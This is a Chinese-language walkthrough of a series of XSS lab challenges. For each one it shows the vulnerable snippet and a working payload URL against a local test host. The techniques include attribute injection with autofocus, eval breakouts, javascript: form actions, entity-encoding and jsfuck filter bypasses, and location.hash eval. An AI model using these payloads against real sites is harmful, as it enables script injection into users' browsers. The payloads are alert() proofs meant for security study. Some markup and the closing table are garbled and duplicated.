hugo server --bind 0.0.0.0 --baseURL http://192.168.239.128:1313/
<h2 id="spaghet">h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
script>
没有什么过滤,直接输入就行
payload:
http://192.168.239.128/xss.html?somebody=%3Cimg%20src=1%20onerror=alert(1337)%3E
<h2 id="maname">h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
script>
输入会进入eval中,不用在标签处实现,直接闭合eval内部即可
payload:
http://192.168.239.128/xss.html?jeff=%22;alert(1);%22
http://192.168.239.128/xss.html?jeff=%22;alert(1);//
1.闭合最后一个双引号
2.直接注释
<div id="uganda">div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `${wey}" class="form-control">`
script>
过滤了<>
直接使用input属性即可,为了实现无交互,用到了onfocus和autofocus属性,聚焦和自动聚焦
payload:
http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus%22
http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus%20%22
http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus=
http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus="
1.不行,其余三种都可以
原因:
html标签,会使用空格将属性分割,没有空格时把""
也认为属性名的一部分了,但有了空格或者=就可以正确识别
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
script>
将get参数的东西,赋值给form表单的action,一般是执行的后端代码,如login.php,因此支持JavaScript伪协议
payload:
http://192.168.239.128/xss.html?ricardo=javascript:alert(1337)
<h2 id="will">h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
script>
过滤了()\`,不能使用alert()
由于在js中不能将符号编码,也就是unicode,而urlencode是在浏览器就编解码了,所以使用html实体编码来实现绕过
payload:
http://192.168.239.128/xss.html?markassbrownlee=%3Csvg%20onload%3D%22alert%26%2340%3B1%26%2341%3B%22%3E
注意:
是get传参,因此对于实体编码有特殊符号的,必须进行urlencode
不能对<进行实体编码不然进入不了标签开始状态
/* Challenge */
<script>
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
script>
过滤了所有大小写字母和数字,但是没有限制输入长度,使用在线网站jsfuck.com,
payload:
http://192.168.239.128/xss.html?balls=urlencode(jsfuck的结果)//结果太长不展示
/* Challenge */
<script>
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
script>
对于一些符号还有alert进行了过滤且限制了长度
对于alert可替换的有confirm,prompt,因此可以直接解决这道题,但考点还有其他,默认全部过滤了
Function(/ALERT(1337)/.source.toLowerCase())()
分析:
Function
—— 构造函数
eval
一样执行字符串)。function
—— 关键字声明
/ALERT(1337)/.source.toLowerCase()
/ALERT(1337)/
是个正则表达式,.source
处理后会去掉/ /,然后再对ALERT(1337)
进行转小写
()
进行调用
(function(){eval(/ALERT(1337)/.source.toLowerCase())})()
如果要使用function,需要这样使用,但是这样的话是56个字符不符合长度限制
经过测试取消长度限制可以成功弹出
eval(8680439..toString(30))(1337)
分析:
8680439.toString(30)
,一个.
在 JavaScript 里会被解释为:
(8680439.)toString(30)
.toString
会被认为是小数点的一部分8680439.
,JavaScript 无法分辨。
**告诉 JS:这个点不是小数点,是属性访问符**,就需要再加一个点
第一个 .
是数字的结尾 8680439.
第二个 .
是访问属性 toString
alert中字母最大的t对应的进制是30,所以进制比30大都可以
比如a对应11进制,b对应12进制…t对应30进制
则是alert对应30进制数
mafia=eval(location.hash.slice(1))#alert(1)
location.hash从地址栏中读取#及其后面的值,使用slice(1)就是去掉#
对于代码来说,传入的参数值是eval(location.hash.slice(1))
,符合过滤要求
<h2 id="boomer">Ok, Boomer.h2>
<script src="./purity.min.js">script>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
script>
DOMPurify框架过滤了可以直接XSS的点,考虑DOM破坏
payload:
标签满足条件:
函数 | 对参数的处理 |
---|---|
eval(x) |
只在 x 是 字符串 时才会执行代码,否则直接返回 x (不调用 toString )。 |
alert(x) |
会自动将 x 转换为字符串,相当于 alert(String(x)) 。会调用 toString 或 valueOf 。 |
setTimeout(x, t) |
如果 x 是函数,就直接调用。如果 x 是字符串,隐式 toString() 再 eval(String(x)) 。在严格的现代环境(比如 Chrome 严格 CSP 下)会报错 |
| 只在 `x` 是 **字符串** 时才会执行代码,否则直接返回 `x`(不调用 `toString`)。 |
| alert(x)
| 会自动将 x
转换为字符串,相当于 alert(String(x))
。会调用 toString
或 valueOf
。 |
| setTimeout(x, t)
| 如果 x
是函数,就直接调用。如果 x
是字符串,隐式 toString()
再 eval(String(x))
。在严格的现代环境(比如 Chrome 严格 CSP 下)会报错 |